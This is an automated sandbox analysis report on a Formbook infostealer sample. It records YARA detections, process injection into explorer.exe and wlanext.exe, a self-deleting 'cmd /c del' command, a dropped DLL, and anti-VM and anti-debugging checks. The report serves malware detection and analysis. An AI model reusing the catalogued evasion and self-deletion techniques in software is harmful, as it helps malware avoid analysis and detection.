Source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/3@14/9

Contains functionality to adjust token privileges (e.g. debug / backup)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_0040460D GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040460D

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,

0_2_0040216B

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3980:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

File created: C:\Users\user\AppData\Local\Temp\nsz26A1.tmp

Jump to behavior

PE file has an executable .text section and no other executable section

Source: 1cec9342_by_Libranalysis.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: 1cec9342_by_Libranalysis.exe	Virustotal: Detection: 54%
Source: 1cec9342_by_Libranalysis.exe	Metadefender: Detection: 20%
Source: 1cec9342_by_Libranalysis.exe	ReversingLabs: Detection: 82%

Sample reads its own file content

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

File read: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wlanext.exe C:\Windows\SysWOW64\wlanext.exe
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 1cec9342_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000002.919087839.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 1cec9342_by_Libranalysis.exe, 00000000.00000003.645751865.000000001EC00000.00000004.00000001.sdmp, 1cec9342_by_Libranalysis.exe, 00000001.00000002.693732282.0000000000B0F000.00000040.00000001.sdmp, wlanext.exe, 00000007.00000002.907697091.00000000037E0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 1cec9342_by_Libranalysis.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693987573.0000000000D60000.00000040.00000001.sdmp
Source:	Binary string: wlanext.pdbGCTL source: 1cec9342_by_Libranalysis.exe, 00000001.00000002.693987573.0000000000D60000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000002.919087839.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Unpacked PE file: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0040102D pushfd ; ret		1_2_0040102E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004160CD push 00000033h; iretd		1_2_004160F6
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_004161E9 push es; retf		1_2_00416257
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041624E push es; retf		1_2_00416257
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041B3B5 push eax; ret		1_2_0041B408
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041B46C push eax; ret		1_2_0041B472
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041B402 push eax; ret		1_2_0041B408
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041B40B push eax; ret		1_2_0041B472
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00418F45 push es; ret		1_2_00418F4B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_0041CFEE push dword ptr [C5AA8973h]; retn EADCh		1_2_0041D044
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A6D0D1 push ecx; ret		1_2_00A6D0E4
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_0040102D pushfd ; ret		1_1_0040102E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004160CD push 00000033h; iretd		1_1_004160F6
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_004161E9 push es; retf		1_1_00416257
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_1_0041624E push es; retf		1_1_00416257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0385D0D1 push ecx; ret		7_2_0385D0E4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010461E9 push es; retf		7_2_01046257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_010460CD push 00000033h; iretd		7_2_010460F6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104C381 pushad ; retf		7_2_0104C382
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104B3B5 push eax; ret		7_2_0104B408
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104624E push es; retf		7_2_01046257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104B402 push eax; ret		7_2_0104B408
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104B40B push eax; ret		7_2_0104B472
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0104B46C push eax; ret		7_2_0104B472
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01048F45 push es; ret		7_2_01048F4B

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

File created: C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9o92aq2mtu.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 00000000010385E4 second address: 00000000010385EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 000000000103897E second address: 0000000001038984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\explorer.exe TID: 7036	Thread sleep time: -55000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe TID: 5012	Thread sleep time: -50000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,		0_2_0040646B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004058BF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_004027A1 FindFirstFileA,		0_2_004027A1

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: explorer.exe, 00000004.00000002.918922090.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.673150104.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.669248247.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.673150104.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.665465411.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000004.00000002.918922090.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.673301906.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000004.00000002.918922090.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.673364825.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000004.00000002.918922090.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Queries a list of all running processes

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 1_2_00409B20 LdrLoadDll,

1_2_00409B20

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 0_2_6FD710A0 mov eax, dword ptr fs:[00000030h]		0_2_6FD710A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A420A0 mov eax, dword ptr fs:[00000030h]		1_2_00A420A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A590AF mov eax, dword ptr fs:[00000030h]		1_2_00A590AF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4F0BF mov ecx, dword ptr fs:[00000030h]		1_2_00A4F0BF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4F0BF mov eax, dword ptr fs:[00000030h]		1_2_00A4F0BF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4F0BF mov eax, dword ptr fs:[00000030h]		1_2_00A4F0BF
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19080 mov eax, dword ptr fs:[00000030h]		1_2_00A19080
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A93884 mov eax, dword ptr fs:[00000030h]		1_2_00A93884
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A93884 mov eax, dword ptr fs:[00000030h]		1_2_00A93884
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A158EC mov eax, dword ptr fs:[00000030h]		1_2_00A158EC
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov ecx, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]		1_2_00AAB8D0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2B02A mov eax, dword ptr fs:[00000030h]		1_2_00A2B02A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2B02A mov eax, dword ptr fs:[00000030h]		1_2_00A2B02A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2B02A mov eax, dword ptr fs:[00000030h]		1_2_00A2B02A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2B02A mov eax, dword ptr fs:[00000030h]		1_2_00A2B02A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4002D mov eax, dword ptr fs:[00000030h]		1_2_00A4002D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4002D mov eax, dword ptr fs:[00000030h]		1_2_00A4002D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4002D mov eax, dword ptr fs:[00000030h]		1_2_00A4002D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4002D mov eax, dword ptr fs:[00000030h]		1_2_00A4002D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4002D mov eax, dword ptr fs:[00000030h]		1_2_00A4002D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE4015 mov eax, dword ptr fs:[00000030h]		1_2_00AE4015
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE4015 mov eax, dword ptr fs:[00000030h]		1_2_00AE4015
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97016 mov eax, dword ptr fs:[00000030h]		1_2_00A97016
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97016 mov eax, dword ptr fs:[00000030h]		1_2_00A97016
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97016 mov eax, dword ptr fs:[00000030h]		1_2_00A97016
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE1074 mov eax, dword ptr fs:[00000030h]		1_2_00AE1074
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD2073 mov eax, dword ptr fs:[00000030h]		1_2_00AD2073
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A30050 mov eax, dword ptr fs:[00000030h]		1_2_00A30050
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A30050 mov eax, dword ptr fs:[00000030h]		1_2_00A30050
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A461A0 mov eax, dword ptr fs:[00000030h]		1_2_00A461A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A461A0 mov eax, dword ptr fs:[00000030h]		1_2_00A461A0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A969A6 mov eax, dword ptr fs:[00000030h]		1_2_00A969A6
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A951BE mov eax, dword ptr fs:[00000030h]		1_2_00A951BE
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A951BE mov eax, dword ptr fs:[00000030h]		1_2_00A951BE
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A951BE mov eax, dword ptr fs:[00000030h]		1_2_00A951BE
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A951BE mov eax, dword ptr fs:[00000030h]		1_2_00A951BE
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A185 mov eax, dword ptr fs:[00000030h]		1_2_00A4A185
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3C182 mov eax, dword ptr fs:[00000030h]		1_2_00A3C182
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42990 mov eax, dword ptr fs:[00000030h]		1_2_00A42990
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]		1_2_00A1B1E1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]		1_2_00A1B1E1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]		1_2_00A1B1E1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AA41E8 mov eax, dword ptr fs:[00000030h]		1_2_00AA41E8
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120 mov eax, dword ptr fs:[00000030h]		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120 mov eax, dword ptr fs:[00000030h]		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120 mov eax, dword ptr fs:[00000030h]		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120 mov eax, dword ptr fs:[00000030h]		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A34120 mov ecx, dword ptr fs:[00000030h]		1_2_00A34120
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4513A mov eax, dword ptr fs:[00000030h]		1_2_00A4513A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4513A mov eax, dword ptr fs:[00000030h]		1_2_00A4513A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19100 mov eax, dword ptr fs:[00000030h]		1_2_00A19100
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19100 mov eax, dword ptr fs:[00000030h]		1_2_00A19100
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19100 mov eax, dword ptr fs:[00000030h]		1_2_00A19100
